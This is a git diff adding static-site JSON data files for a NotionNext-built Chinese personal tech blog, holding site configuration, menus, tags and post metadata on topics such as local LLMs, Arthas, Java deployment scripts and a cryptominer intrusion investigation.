要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":0,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[],"keyword":"NotionNext BLOG","page":"1"},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag.json
new file mode 100644
index 000000000..9da24addf
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/docker.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/docker.json
new file mode 100644
index 000000000..aa413809c
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/tag/docker.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 